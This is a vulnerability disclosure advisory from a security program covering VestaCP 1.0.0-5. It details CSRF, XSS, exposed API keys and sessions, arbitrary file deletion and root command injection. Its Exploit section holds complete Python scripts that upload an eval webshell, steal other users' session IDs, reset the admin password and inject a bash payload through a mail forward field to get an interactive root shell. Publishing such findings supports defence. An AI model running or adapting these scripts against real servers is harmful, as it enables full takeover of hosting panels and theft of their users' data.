SSD Advisory – VestaCP Multiple Vulnerabilities

TL;DR

Find out how multiple vulnerabilities in VestaCP allow remote attackers to take over the product.

Vulnerability Summary

While researching VestaCP source code, multiple critical vulnerabilities have been found, when chained together they would lead to RCE’s and LPE’s as Admin and eventually obtain root

CVE

TBD

Credit

Two independent security researchers, rekter0 and 0xkasper, have reported this to the SSD Secure Disclosure program.

Affected Versions

  • VestaCP 1.0.0-5 (latest)

Vendor Response

We have reached out to VestaCP dev team view email but have not received any kind of response.

Vulnerability Analysis

FileManager CSRF

Details

Each Hosting account including admin account have access to a file manager where they could Add / Rename / Copy / Move / Archive / Extract / Backup / Delete / Chmod files and/or directories that are within their /home directory.

/web/file_manager/fm_api.php

$fm = new FileManager($user);
$fm->setRootDir($panel[$user]['HOME']);

$_REQUEST['action'] = empty($_REQUEST['action']) ? '' : $_REQUEST['action'];

switch ($_REQUEST['action']) {
    case 'cd':
        $dir = $_REQUEST['dir'];
        print json_encode($fm->ls($dir));
        break;

    case 'check_file_type':
        $dir = $_REQUEST['dir'];
        print json_encode($fm->checkFileType($dir));
        break;

    case 'rename_file':
        $dir = $_REQUEST['dir'];
        $item = $dir . '/' . $_REQUEST['item'];
        $target_name = $dir . '/' . $_REQUEST['target_name'];
        print json_encode($fm->renameFile($item, $target_name));
        break;

    case 'rename_directory':
        $dir = $_REQUEST['dir'];
        $item = $dir.$_REQUEST['item'];
        $target_name = $dir.$_REQUEST['target_name'];

        print json_encode($fm->renameDirectory($item, $target_name));
        break;

    case 'move_file':
        $item = $_REQUEST['item'];
        $target_name = $_REQUEST['target_name'];
        print json_encode($fm->renameFile($item, $target_name));
        break;

    case 'move_directory':
        $item = $_REQUEST['item'];
        $target_name = $_REQUEST['target_name'];
        print json_encode($fm->renameDirectory($item, $target_name));
        break;

    case 'delete_files':
        $dir = $_REQUEST['dir'];
        $item = $_REQUEST['item'];
        print json_encode($fm->deleteItem($dir, $item));
        break;

    case 'create_file':
        $dir = $_REQUEST['dir'];
        $filename = $_REQUEST['filename'];
        print json_encode($fm->createFile($dir, $filename));
        break;

    case 'create_dir':
        $dir = $_REQUEST['dir'];
        $dirname = $_REQUEST['dirname'];
        print json_encode($fm->createDir($dir, $dirname));
        break;

    case 'open_file':
        $dir = $_REQUEST['dir'];
        print json_encode($fm->open_file($dir));
        break;

    case 'copy_file':
        $dir = $_REQUEST['dir'];
        $target_dir = $_REQUEST['dir_target'];
        $filename   = $_REQUEST['filename'];
        $item       = $_REQUEST['item'];
        print json_encode($fm->copyFile($item, $dir, $target_dir, $filename));
        break;

    case 'copy_directory':
        $dir = $_REQUEST['dir'];
        $target_dir = $_REQUEST['dir_target'];
        $filename   = $_REQUEST['filename'];
        $item       = $_REQUEST['item'];
        print json_encode($fm->copyDirectory($item, $dir, $target_dir, $filename));
        break;

    case 'unpack_item':
        $dir = $_REQUEST['dir'];
        $target_dir = $_REQUEST['dir_target'];
        $filename   = $_REQUEST['filename'];
        $item       = $_REQUEST['item'];
        print json_encode($fm->unpackItem($item, $dir, $target_dir, $filename));
        break;

    case 'pack_item':
        $items      = $_REQUEST['items'];
        $dst_item   = $_REQUEST['dst_item'];
        print json_encode($fm->packItem($items, $dst_item));
        break;

    case 'backup':
        $path = $_REQUEST['path'];
        print json_encode($fm->backupItem($path));
        break;

    case 'chmod_item':
        $dir = $_REQUEST['dir'];
        $item = $_REQUEST['item'];
        $permissions = $_REQUEST['permissions'];
        print json_encode($fm->chmodItem($dir, $item, $permissions));
        break;

    default:
        //print json_encode($fm->init());
        break;
}

FileManager API rely on [$_REQUEST], which could be supplied via `GET|POST|COOKIE` user input.

This potentially leading to 13 High severity CSRF vulnerabilities in dangerous functionalities if abused by an attacker

chmod_item | backup | pack_item | unpack_item | copy_directory | copy_file | open_file | create_dir | create_file | delete_files | move_directory | move_file | rename_directory | rename_file.

Reflected XSS

Edit Web
While most API calls are specifying Content-Type HTTP header to be application/json, call to /v1/edit/web was found to not specify one, making PHP by default set it to text/html.

/web/api/v1/edit/web/index.php

[...]
> $v_domain = escapeshellarg($_GET['domain']);
[...]
$result = array(
    'username' => $v_username,
>   'domain' => $v_domain,
[...]
);

echo json_encode($result);

GET parameter domain is processed only by escapeshellarg() this would escape only single quotes ' and backslash \ potentially leading to reflected XSS

Edit File
Edit file API call also doesn’t explicitly set content-type header

if (!empty($_REQUEST['path'])) {
    $content = '';
    $path = $_REQUEST['path'];
    [...]

>   exec (VESTA_CMD . "v-open-fs-file {$user} ".escapeshellarg($path), $content, $return_var);
    if ($return_var != 0) {
        $error = 'Error while opening file'; // todo: handle this more styled
        exit;
    }
>   $content = implode("\n", $content)."\n";
} else {
    $content = '';
}

$result = array(
	'error' => $error,
>	'content' => $content
);

>echo json_encode($result);

This will print file content, a malicious Vesta User could write an XSS payload into a file in a directory they control Ex: /tmp, and use this functionality to trigger the XSS to target another Vesta user.

Directory Preview

As this is a paid plugin, so it would not be enabled by default.

/web/api/v1/list/directory/preview/index.php

if ((!isset($_SESSION['FILEMANAGER_KEY'])) || (empty($_SESSION['FILEMANAGER_KEY']))) {
    header("Location: /filemanager-not-purchased/");
    exit;
}
[...]
> $path_a = !empty($_REQUEST['dir_a']) ? $_REQUEST['dir_a'] : '';
> $path_b = !empty($_REQUEST['dir_b']) ? $_REQUEST['dir_b'] : '';
> $GLOBAL_JS  = '<script type="text/javascript">GLOBAL.START_DIR_A = "' . $path_a . '";</script>';
> $GLOBAL_JS .= '<script type="text/javascript">GLOBAL.START_DIR_B = "' . $path_b . '";</script>';

Both parameters dir_a and dir_b are user input from $_REQUEST and getting reflected inside of script tag without proper sanitization leading to reflected XSS.

Vesta WEBAPI

Vesta has another API interface that is designed to be an alternative interface or to be integrated within another application or script https://vestacp.com/docs/api/

/web/api/v1/index.php or /web/api/index.php

> if (isset($_POST['user']) || isset($_POST['hash'])) {

    // Authentication
>    if (empty($_POST['hash'])) {
>        if ($_POST['user'] != 'admin') {
            echo 'Error: authentication failed';
            exit;
        }

This API is accessible only via an API key or via admin account [user/password].

Security Misconfigurations

API Keys

Vesta WEB API could be authenticated via Admin account as well as API keys.

/web/api/v1/index.php or /web/api/index.php

>       $key = '/usr/local/vesta/data/keys/' . basename($_POST['hash']);
>       if (file_exists($key) && is_file($key)) {
>           exec(VESTA_CMD ."v-check-api-key ".escapeshellarg($key)." ".$v_ip,  $output, $return_var);
            unset($output);

            // Check API answer
            if ( $return_var > 0 ) {
                echo 'Error: authentication failed';
                exit;
            }
        } else {
            $return_var = 1;
        }

/bin/v-check-api-key

if [ -z "$1" ]; then
    echo "Error: key missmatch"
    exit 9
fi
key=$(basename $1)
[...]
if [ ! -e $VESTA/data/keys/$key ]; then
    echo "Error: key missmatch"
    echo "$date $time api $ip failed to login" >> $VESTA/log/auth.log
    exit 9
fi

API key is filename of any of the files that exists in directory /usr/local/vesta/data/keys/.

By default there’s no API key, but they could be generated using v-generate-api-key Vesta script.

/bin/v-generate-api-key

[...]
KEYS='/usr/local/vesta/data/keys/'
HASH=$(keygen)
[...]
if [ ! -d ${KEYS} ]; then
  mkdir ${KEYS}
fi
[...]

touch ${KEYS}${HASH}

This script could be only executed with admin account via API or from CLI with admin or root accounts.

ls -lia /usr/local/vesta/data/keys/
total 8
1810549 drwxr-xr-x  2 root root 4096 Dec  3 13:41 .
1816654 drwxr-xr-x 10 root root 4096 Dec  3 13:41 ..
1817104 -rw-r--r--  1 root root    0 Dec  3 13:41 lP-mK-rIEuJSfBQyycQuxKDLzfUKh78M

The created files would have bad permission that are readable by any user on the system leading to LPE.

Arbitrary Directory delete as root

When a Vesta user changes their stats settings to none it invokes v-delete-web-domain-stats.

/web/api/v1/edit/web/index.php

# Defining statistic dir
stats_dir="$HOMEDIR/$user/web/$domain/stats"

# Deleting dir content
rm -rf $stats_dir/*

a Vesta user can symlink the target directory to their home dir domain stats directory and then change their stats settings to none this would lead to deleting the directory with root privileges since constant VESTA_CMD invokes the script with sudo.

define('VESTA_CMD', '/usr/bin/sudo /usr/local/vesta/bin/');

Upload handler

Vesta has an API for file uploads accessible to any Vesta user including low privileged users accessible from /api/v1/upload Vesta Upload handler is an altered version of jQuery file upload plugin that could be found here: https://github.com/blueimp/jQuery-File-Upload/blob/master/server/php/UploadHandler.php

/web/api/v1/upload/UploadHandler.php

    protected function initialize() {
        switch ($this->get_server_var('REQUEST_METHOD')) {
            case 'OPTIONS':
            case 'HEAD':
                $this->head();
                break;
            case 'GET':
                $this->get();
                break;
            case 'PATCH':
            case 'PUT':
            case 'POST':
                $this->post();
                break;
            case 'DELETE':
                $this->delete();
                break;
            default:
                $this->header('HTTP/1.1 405 Method Not Allowed');
        }
    }

The upload handler process the request according to the HTTP method and supplied parameters.

dir parameter

Function get_upload_path is used almost by every file handling functionality in upload handler to determine the working directory.

/web/api/v1/upload/UploadHandler.php

    protected function get_upload_path($file_name = null, $version = null) {
>       $relocate_directory = $_GET['dir'];
        if (empty($relocate_directory)) {
            $relocate_directory = '/home/admin/'; // fallback dir
        }
        if ($relocate_directory[strlen($relocate_directory) -1] != '/') {
            $relocate_directory .= '/';
        }
        $file_name = $file_name ? $file_name : '';
        if (empty($version)) {
            $version_path = '';
        } else {
            $version_dir = @$this->options['image_versions'][$version]['upload_dir'];
            if ($version_dir) {
                return $version_dir.$this->get_user_path().$file_name;
            }
            $version_path = $version.'/';
        }
        //return $this->options['upload_dir'].$this->get_user_path()
        //    .$version_path.$file_name;
        return $relocate_directory
            .$version_path.$file_name;
    }

dir GET parameter was found to bypass the intended function use.

Arbitrary Directory files listing

When upload handler is called with GET http method it is processed with get() function

/web/api/v1/upload/UploadHandler.php

public function get($print_response = true) {
        if ($print_response && isset($_GET['download'])) {
            return $this->download();
        }
        $file_name = $this->get_file_name_param();
        if ($file_name) {
            $response = array(
                $this->get_singular_param_name() => $this->get_file_object($file_name)
            );
        } else {
            $response = array(
                $this->options['param_name'] => $this->get_file_objects()
            );
        }
        return $this->generate_response($response, $print_response);
    }

functions get_file_object and get_file_objects rely on get_upload_path enabling us to get a files listing on an arbitrary directory of our choosing that is accessible by unix admin user.
This could lead to sensitives files names disclosure including API keys.

Vesta PHP Sessions directory /usr/local/vesta/data/sessions has sessions with admin:admin permissions enabling an arbitrary Vesta user to obtain session IDs for any logged in Vesta user.

/web/inc/main.php

// Saving user IPs to the session for preventing session hijacking
>$user_combined_ip = $_SERVER['REMOTE_ADDR'];

if(isset($_SERVER['HTTP_CLIENT_IP'])){
    $user_combined_ip .=  '|'. $_SERVER['HTTP_CLIENT_IP'];
}
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
    $user_combined_ip .=  '|'. $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(isset($_SERVER['HTTP_FORWARDED_FOR'])){
    $user_combined_ip .=  '|'. $_SERVER['HTTP_FORWARDED_FOR'];
}
if(isset($_SERVER['HTTP_X_FORWARDED'])){
    $user_combined_ip .=  '|'. $_SERVER['HTTP_X_FORWARDED'];
}
if(isset($_SERVER['HTTP_FORWARDED'])){
    $user_combined_ip .=  '|'. $_SERVER['HTTP_FORWARDED'];
}

>if(!isset($_SESSION['user_combined_ip'])){
>    $_SESSION['user_combined_ip'] = $user_combined_ip;
>}

// Checking user to use session from the same IP he has been logged in
>if($_SESSION['user_combined_ip'] != $user_combined_ip && $_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
    session_destroy();
    session_start();
    $_SESSION['request_uri'] = $_SERVER['REQUEST_URI'];
    header("Location: /login/");
    exit;
}

Sessions are tied to the original IP that logged in, but it could be bypassed when requests are originating from 127.0.0.1.

Arbitrary file delete

HTTP method DELETE for upload handler will delete files from files[] array.

/web/api/v1/upload/UploadHandler.php

    public function delete($print_response = true) {
        $file_names = $this->get_file_names_params();
        if (empty($file_names)) {
            $file_names = array($this->get_file_name_param());
        }
        $response = array();
        foreach($file_names as $file_name) {
            $file_path = $this->get_upload_path($file_name);
            $success = is_file($file_path) && $file_name[0] !== '.' && unlink($file_path);
            if ($success) {
                foreach($this->options['image_versions'] as $version => $options) {
                    if (!empty($version)) {
                        $file = $this->get_upload_path($file_name, $version);
                        if (is_file($file)) {
                            unlink($file);
                        }
                    }
                }
            }
            $response[$file_name] = $success;
        }
        return $this->generate_response($response, $print_response);
    }

}

Since the panel is running with admin user privileges, this will delete an arbitrary file where UNIX user admin has permission.

Host Header Injection

Host header injection password reset functionality.

In /web/api/v1/reset/index.php on line 35:

$mailtext .= __('PASSWORD_RESET_REQUEST',$_SERVER['HTTP_HOST'],$user,$rkey,$_SERVER['HTTP_HOST'],$user,$rkey);

Request’s Host header is put as host in the password reset link that is send to the user.

Command injection as root

The function update_object_value from /func/main.sh uses eval as root.

pdate_object_value() {
    row=$(grep -nF "$2='$3'" $USER_DATA/$1.conf)
    lnr=$(echo $row | cut -f 1 -d ':')
    object=$(echo $row | sed "s/^$lnr://")
    eval "$object"
    eval old="$4"
    old=$(echo "$old" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/\//\\\//g')
    new=$(echo "$5" | sed -e 's/\\/\\\\/g' -e 's/&/\\&/g' -e 's/\//\\\//g')
    sed -i "$lnr s/${4//$/}='${old//\*/\\*}'/${4//$/}='${new//\*/\\*}'/g" \
        $USER_DATA/$1.conf
}

This sink could be reached by multiple vesta functionality, some of which email forwarders which are not properly sanitized

/web/api/v1/edit/mail/index.php

    foreach ($result as $forward) {
            if ((empty($_SESSION['error_msg'])) && (!empty($forward))) {
                exec (VESTA_CMD."v-add-mail-account-forward ".$v_username." ".$v_domain." ".$v_account." ".escapeshellarg($forward), $output, $return_var);
                check_return_code($return_var,$output);
                unset($output);
            }
        }
    [...]
    if (($v_fwd_only != 'yes') && (!empty($_POST['v_fwd_only'])) && (empty($_SESSION['error_msg']))) {
        exec (VESTA_CMD."v-add-mail-account-fwd-only ".$v_username." ".$v_domain." ".$v_account, $output, $return_var);
        check_return_code($return_var,$output);
        unset($output);
        $v_fwd_only = 'yes';
    }

/web/api/v1/add/mail/index.php

if ((!empty($_POST['v_fwd'])) && (empty($_SESSION['error_msg']))) {
        $vfwd = preg_replace("/\n/", " ", $_POST['v_fwd']);
        $vfwd = preg_replace("/,/", " ", $vfwd);
        $vfwd = preg_replace('/\s+/', ' ',$vfwd);
        $vfwd = trim($vfwd);
        $fwd = explode(" ", $vfwd);
        foreach ($fwd as $forward) {
            $forward = escapeshellarg($forward);
            if (empty($_SESSION['error_msg'])) {
                exec (VESTA_CMD."v-add-mail-account-forward ".$user." ".$v_domain." ".$v_account." ".$forward, $output, $return_var);
                check_return_code($return_var,$output);
                unset($output);
            }
        }
    }

    // Add fwd_only flag
    if ((!empty($_POST['v_fwd_only'])) && (empty($_SESSION['error_msg']))) {
        exec (VESTA_CMD."v-add-mail-account-fwd-only ".$user." ".$v_domain." ".$v_account, $output, $return_var);
        check_return_code($return_var,$output);
        unset($output);
    }

Exploit

VestaFuncs.py

import requests
import re
import json
import socket
from urllib.parse import urlparse
import random
import string
import base64

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def resetPassword(username,targetHost,rkey):
	newPassword = get_random_string()
	r = requests.post(targetHost + '/api/v1/reset/index.php', verify=False, data={'password':newPassword,'password_confirm':newPassword, 'user':username,'code':rkey})
	if '"error":null,' in r.text:
		return newPassword
	else:
		return False

def checkSessions(us,targetHost,ipFromHostname,sessions,pwnDomain):
	for i in sessions:
		qTry = queryWebshell('echo `curl -k "https://127.0.0.1:'+str(urlparse(targetHost).port)+'/api/v1/login/session.php" -H "Cookie: PHPSESSID='+i+';" `;',ipFromHostname,pwnDomain)
		if '"root_dir":"\\/home\\/admin"' in qTry:
			print('[++] Admin session found ')
			return i,qTry
	print('[!] no admin session found')
	return False


def getSessIDs(us,targetHost,SessID):
	r = us.get(targetHost + '/api/v1/upload/index.php?dir=/usr/local/vesta/data/sessions', verify=False)
	try:
		if '{"files":' in r.text:
			myList = []
			for i in r.json()['files']:
				if SessID not in i['name']:
					myList.append(i['name'].replace('sess_',''))
			return myList
		else:
			print('Getting Sessions list Error')
			return False
	except Exception as e:
		print(str(e))
		return False


def getIPfromHostname(hostn):
	return socket.gethostbyname(urlparse(hostn).hostname)

def get_random_string(length=10):
    letters = string.ascii_letters+string.digits
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str

def getSession(us,targetHost,ss=1):
	sessPath ='/api/v1/login/index.php'
	if ss == 2:
		sessPath = '/api/v1/login/session.php'
	r = us.get(targetHost + sessPath, verify=False)
	try:
		if '"token":"' in r.text:
			return r.json()
		else:
			print('Getting own session data error')			
			exit()
	except Exception as e:
		print(str(e))
		exit()

def login(us,targetHost,login,passwd):
	try:
		r = us.post(targetHost + '/api/v1/login/index.php', verify=False, data={'user':login,'password':passwd,'token':getSession(us,targetHost)['token']})
		if r.text:
			print('[+] Logged in as '+login)
			return True
		else:
			return False
	except Exception as e:
		print(str(e))
		return False


def logout(us,targetHost):
	r = us.get(targetHost + '/api/v1/logout/index.php', verify=False)
	print('[+] Logged out ')

def getWebshell(us,targetHost,shellHost,username,ipFromHostname):
	#r = us.get(targetHost + '/api/v1/delete/web/index.php?domain='+shellHost+'&token='+getSession(us,targetHost,2)['token'],verify=False)
	r = us.get(targetHost + '/api/v1/list/web/index.php', verify=False)
	if shellHost not in r.text:
		print('[!] '+shellHost+' not found, creating one...')
		r = us.get(targetHost + '/api/v1/add/web/index.php', verify=False)
		try:
			webConf = r.json()
			## Checking if IPs match			
			if ipFromHostname not in r.text:
				print('[!] IP mismatch, select an appropriate IP for the '+shellHost)
				confIPsList = []
				count = 0
				for i in webConf['ips']:
					confIPsList.append(i)
					print('\t['+str(count)+'] '+i)
					count+=1
				selectedIP = confIPsList[int(input('\t> '))]
			else:
				selectedIP = ipFromHostname
			
			r2 = us.post(targetHost + '/api/v1/add/web/index.php' , verify=False, data={"ok": "add", "token": getSession(us,targetHost,2)['token'], "v_domain": shellHost, "v_ip": selectedIP, "v_aliases": "www."+shellHost, "v_dns": "on", "v_mail": "on", "v_proxy": "on", "v_proxy_ext": webConf['proxy_ext']})
			if 'has been created successfully' in r2.text:
				print('[+] '+shellHost+' added')
		except Exception as e:
			print(str(e))
			return False
		
	
	print('[+] '+shellHost+' found, looking up webshell')
	checkWS = queryWebshell('echo HelloVestaPWN3647387238263784;',ipFromHostname,shellHost)
	if('HelloVestaPWN3647387238263784' not in checkWS):
		print('[!] webshell not found, creating one..')
		r = us.post(targetHost+'/api/v1/upload/?dir=/home/'+username+'/web/'+shellHost+'/public_html',verify=False,files = {'files': ('ownwebshell.php', '<?php\nif(@$_GET["password"]!="e43c9f07ed59712efa492aa0ae259cd0") exit();\neval($_GET["e"]);')} )
		if('"name":"ownwebshell.php"' in r.text):
			print('[+] Webshell uploaded')
			return True
		else:
			print('[!] webshell upload error')
			return False
	else:
		print('[+] '+username+' webshell found')
		return True
		

def createMailBox(us,targetHost,shellHost,isDebug):
	mailAccount  = get_random_string().lower()
	mailPassword = get_random_string()
	r = us.get(targetHost + '/api/v1/delete/mail/index.php?domain='+shellHost+'&token='+getSession(us,targetHost,2)['token'],verify=False)
	r = us.get(targetHost + '/api/v1/list/mail/index.php', verify=False)
	if shellHost in r.text:
		if isDebug: print('[+] Mail domain found')
	else:
		if isDebug: print('[!] Mail domain not found, creating one..')
		r2 = us.post(targetHost + '/api/v1/add/mail/index.php', verify=False, data={"ok": "add", "token": getSession(us,targetHost,2)['token'], "v_domain": shellHost, "v_antispam": "on", "v_antivirus": "on", "v_dkim": "on"})
		if '"error_msg":null' in r2.text:
			if isDebug: print('[+] Mail domain created')
		else:
			print('[!] mail domain creating error')
			return False

	r = us.post(targetHost + '/api/v1/add/mail/index.php?domain='+shellHost,verify=False, data={"v_domain": shellHost, "v_account": mailAccount, "v_password": mailPassword, "Username": "@"+shellHost, "v_credentials": '', "ok_acc": "add", "token": getSession(us,targetHost,2)['token'], "Password": mailPassword})
	if '"error_msg":null' in r.text:
		if isDebug: print('[+] Mail account created')
		return {'account':mailAccount,'password':mailPassword}
	else:
		print('[!] creating new mail failed ..')
		return False


def editMailBox(us,targetHost,shellHost,Vaccount,payload,isDebug=True):
	r = us.post(targetHost + '/api/v1/edit/mail/index.php?domain='+shellHost+'&account='+Vaccount,verify=False, data={"save": "save", "token": getSession(us,targetHost,2)['token'], "v_domain": shellHost, "v_password": '', "v_quota": "unlimited", "v_aliases": '', "v_fwd": payload, "v_credentials": '', "Username": "@"+shellHost, "v_account": Vaccount, "Password": ''})
	if '"ok_msg":"Changes have been saved."' in r.text:
		return True
	else:
		if isDebug: print('[!] mailbox edit failed ..')
		return False

def b64en(strr):
	return base64.b64encode(strr.encode('utf-8')).decode('utf-8')

def deploycommand(cmd,ipFromHostname,pwnDomain):
	queryWebshell('echo `pwd;mkdir -p ./iamroot;`;',ipFromHostname,pwnDomain)
	queryWebshell('`printf '+b64en(cmd)+'|base64 -d > ./iamroot/cmdtoexec`;',ipFromHostname,pwnDomain)

def queryWebshell(cmd,ipFromHostname,shellHost='vestapwn.poc'):
	r = requests.get('http://'+ipFromHostname+'/ownwebshell.php?password=e43c9f07ed59712efa492aa0ae259cd0&e='+cmd,headers={'Host':shellHost},verify=False)
	return r.text

vestaATO.py

from VestaFuncs import *
import sys
import time

period = 0.5

if len(sys.argv) == 4:
	targetHost = sys.argv[1]
	targetUser = sys.argv[2]
	targetPass = sys.argv[3]
else:
	print("Usage\npython3 vestaROOT.py https://target_host:8083 user_login user_pass")
	exit()



ipFromHostname = getIPfromHostname(targetHost)

pwnDomain      = get_random_string().lower()+'.poc'
pwnDomainAdmin = get_random_string().lower()+'.poc'

while True:
	## init user session
	uus = requests.Session()

	## Login
	if login(uus,targetHost,targetUser,targetPass):
		
		usID  = uus.cookies.get_dict()['PHPSESSID']

		## Check own webshell
		if getWebshell(uus,targetHost,pwnDomain,targetUser,ipFromHostname):

			## Get other sessions IDs
			oSessIDs = getSessIDs(uus,targetHost,usID)
			if oSessIDs:
				print('[+] Obtained Sessions list : '+str(len(oSessIDs)))

				## Check other sessions IDs
				adminSession = checkSessions(uus,targetHost,ipFromHostname,oSessIDs,pwnDomain)

				## Admin session found
				if(adminSession):
					adminJSON = json.loads(adminSession[1])

					## Reset key found
					if adminJSON['data']['RKEY']:

						## Change admin password
						print('[+] admin RKEY '+adminJSON['data']['RKEY'])
						newAdminPassword = resetPassword('admin',targetHost, adminJSON['data']['RKEY'])
						if(newAdminPassword):
							print('[+] New admin account password ' +newAdminPassword)

							## Login as admin
							uus2 = requests.Session()
							if login(uus2,targetHost,'admin',newAdminPassword):

								## Check own webshell
								uWebshell = getWebshell(uus2,targetHost,pwnDomainAdmin,'admin',ipFromHostname)
								logout(uus2,targetHost)
								if 'admin' in queryWebshell('echo `whoami` ;',ipFromHostname,pwnDomainAdmin):
									queryWebshell('`mkdir -p ./func;echo "bash -c \\"\\\\$1\\"\nexit" > ./func/main.sh;` ;',ipFromHostname,pwnDomainAdmin)
									while True:
										print(queryWebshell('echo `VESTA=$(pwd) sudo /usr/local/vesta/bin/v-list-backup-host "'+input('# ').replace('"','\\"')+'"`;',ipFromHostname,pwnDomainAdmin))

								else:
									print('[!] Admin webshell not found ??')

						else:
							print('[!] admin password reset failed')
					else:
						print('[!] RKEY not found??')
			else:
				print('[!] no admin session found, restarting ..')

		## Logout
		logout(uus,targetHost)
		time.sleep(period)

vestaROOT.py

from VestaFuncs import *
import sys


if len(sys.argv) == 4:
	targetHost = sys.argv[1]
	targetUser = sys.argv[2]
	targetPass = sys.argv[3]
else:
	print("Usage\npython3 vestaROOT.py https://target_host:8083 user_login user_pass")
	exit()


ipFromHostname = getIPfromHostname(targetHost)
pwnDomain      = get_random_string().lower()+'.poc'

## init user session
uus = requests.Session()

## Login
if login(uus,targetHost,targetUser,targetPass):
	
	## Check own webshell
	if getWebshell(uus,targetHost,pwnDomain,targetUser,ipFromHostname):

		## Check, delete and create mailbox on pwnDomain
		mailBox = createMailBox(uus,targetHost,pwnDomain,True)
		if(mailBox):
			eMailBox = editMailBox(uus,targetHost,pwnDomain,mailBox['account'],'testPayload')
			if(eMailBox):
				## Deploy backdoor
				if editMailBox(uus,targetHost,pwnDomain,mailBox['account'],"';bash</home/"+targetUser+"/web/"+pwnDomain+"/public_html/iamroot/cmdtoexec>/home/"+targetUser+"/web/"+pwnDomain+"/public_html/iamroot/cmdresult;A='"):
					print('[+] root shell possibly obtained')
					while True:
						ucmd = input('# ')
						deploycommand(ucmd,ipFromHostname,pwnDomain)
						editMailBox(uus,targetHost,pwnDomain,mailBox['account'],"foobar",False)
						print(queryWebshell('echo `cat ./iamroot/cmdresult;`;',ipFromHostname,pwnDomain))

		## Logout
		logout(uus,targetHost)
		print('[+] Logged out')

Demo